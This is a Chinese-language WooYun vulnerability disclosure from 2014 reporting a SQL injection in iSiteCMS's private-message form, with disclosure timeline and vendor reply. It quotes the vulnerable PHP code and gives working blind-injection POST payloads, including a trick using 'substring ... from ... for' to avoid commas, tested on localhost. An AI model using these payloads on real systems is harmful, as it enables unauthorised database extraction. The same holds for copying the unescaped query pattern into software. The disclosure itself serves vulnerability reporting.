当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052248

漏洞标题：iSiteCMS最新版本曲折的sql注射漏洞

相关厂商：kometo.com

漏洞作者： 寂寞的瘦子

提交时间：2014-02-28 17:17

修复时间：2014-04-14 17:18

公开时间：2014-04-14 17:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-28： 细节已通知厂商并且等待厂商处理中
2014-03-04： 厂商已经确认，细节仅向厂商公开
2014-03-14： 细节向核心白帽子及相关领域专家公开
2014-03-24： 细节向普通白帽子公开
2014-04-03： 细节向实习白帽子公开
2014-04-14： 细节向公众公开

简要描述：

感谢小伙伴为我提供的手工技巧~~

详细说明：

在/iSite 2.0 RC1 B684/isite/components/messages/messages.fe.php第86行

if($form->status == TFORM_STATUS_GETED_VALID){//接受提交的表单参数
      $arr = $form->getValues();
      $tos = explode(',',trim($arr['to']));//把member用逗号分割了有木有啊
      $noExistsMenber = array();
      $toMenbers = array();
      foreach ($tos as $menber){//把数组遍历出来
        $i =
        $this->DBE->getOne("select `id` from #__user where `name`='$menber'");//带入查询了
        if(is_null($i) or empty($i)){
          $noExistsMenber[] = $menber;
        }else{
          $m['name'] = $menber;
          $m['id']  = $i;
          $toMenbers[] = $m;


这个漏洞应该是被提到过的，但是厂商没有重视 WooYun: iSiteCMS发布安全补丁后仍然有几处注射漏洞（源码详析+实站演示） 厂商的回复是这个漏洞属于别人二次开发的，那么请你们仔细看看是不是你们开发~~
的确把逗号给截断是件痛苦的事情，但是难不到小伙伴勤劳的双手~~

漏洞证明：

PS:你们的debug真的做的很好，无法使用原来洞主的那种方法，而且第二个洞也补了~~
我们先要注册一个会员，然后在http://127.0.0.1/site/index.php?igo=iss,messages,send发送信息
看我如何来盲注（我本地的user()是root@127.0.0.1，Post过去的to的值必须是存在的用户，不然语句永远为假）

Post：to=test' and (select substring(user() from 2 for 1)='r')=1#&subject=1&content=1&submit=%B7%A2%CB%CD&__issForm%5B__referer%5D=http%3A%2F%2F127.0.0.1%2Fsite%2Findex.php%3Figo%3Diss%2Cmessages&__issForm%5B__name%5D=message

这一句为真
mysql日志的执行的语句是：

select `id` from flexi_user where `name`='test' and (select substring(user() from 1 for 1)='r')=1#'

这一句为真
我们看看实际效果

QQ图片20140228131353.jpg

提示发送成功，为真
那么我们看看为假的时候返回执行

Post：to=test' and (select substring(user() from 1 for 1)='a')=1#&subject=1&content=1&submit=%B7%A2%CB%CD&__issForm%5B__referer%5D=http%3A%2F%2F127.0.0.1%2Fsite%2Findex.php%3Figo%3Diss%2Cmessages&__issForm%5B__name%5D=message


QQ图片20140228131613.jpg


因为语句为假所以返回用户名不存在，于是我们可以通过返回真假进行盲注。

修复方案：

我自己测试的截图，

QQ图片20140228131949.jpg

QQ图片20140228132021.jpg

QQ图片20140228132043.jpg


顺利通过提示的发送成功读取出用户名前面4位的值是root
PS:from for 好帅，可以逃脱逗号哟

版权声明：转载请注明来源 寂寞的瘦子@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2014-03-04 14:56

厂商回复：

感谢指出，我们将尽快修复。

最新状态：

暂无